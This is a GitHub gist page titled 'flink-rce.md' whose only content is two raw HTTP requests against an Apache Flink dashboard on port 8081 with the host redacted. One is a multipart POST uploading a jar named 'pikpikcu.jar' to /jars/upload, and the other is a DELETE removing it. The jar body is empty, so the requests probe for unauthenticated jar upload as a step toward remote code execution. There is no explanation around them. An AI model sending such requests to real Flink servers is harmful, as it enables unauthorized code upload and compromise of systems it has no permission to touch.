Skip to content

Instantly share code, notes, and snippets.

@RASSec
Forked from pikpikcu/flink-rce.md
Created February 5, 2021 06:53
Show Gist options
  • Save RASSec/88b00bf18828dbe9661c8e8a844f513b to your computer and use it in GitHub Desktop.
Save RASSec/88b00bf18828dbe9661c8e8a844f513b to your computer and use it in GitHub Desktop.

Revisions

  1. @pikpikcu pikpikcu created this gist Feb 4, 2021.
    23 changes: 23 additions & 0 deletions flink-rce.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,23 @@
    ```
    POST /jars/upload HTTP/1.1
    Host: REDACTED:8081
    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
    Content-Length: 187
    Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
    Accept-Encoding: gzip
    --8ce4b16b22b58894aa86c421e8759df3
    Content-Disposition: form-data; name="jarfile";filename="pikpikcu.jar"
    Content-Type:application/octet-stream
    --8ce4b16b22b58894aa86c421e8759df3--
    ```
    ```
    DELETE /jars/7d7b4c4e-b1f0-451c-b7e3-4aaa5f71a9a7_pikpikcu.jar HTTP/1.1
    Host: REDACTED:8081
    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept-Encoding: gzip
    ```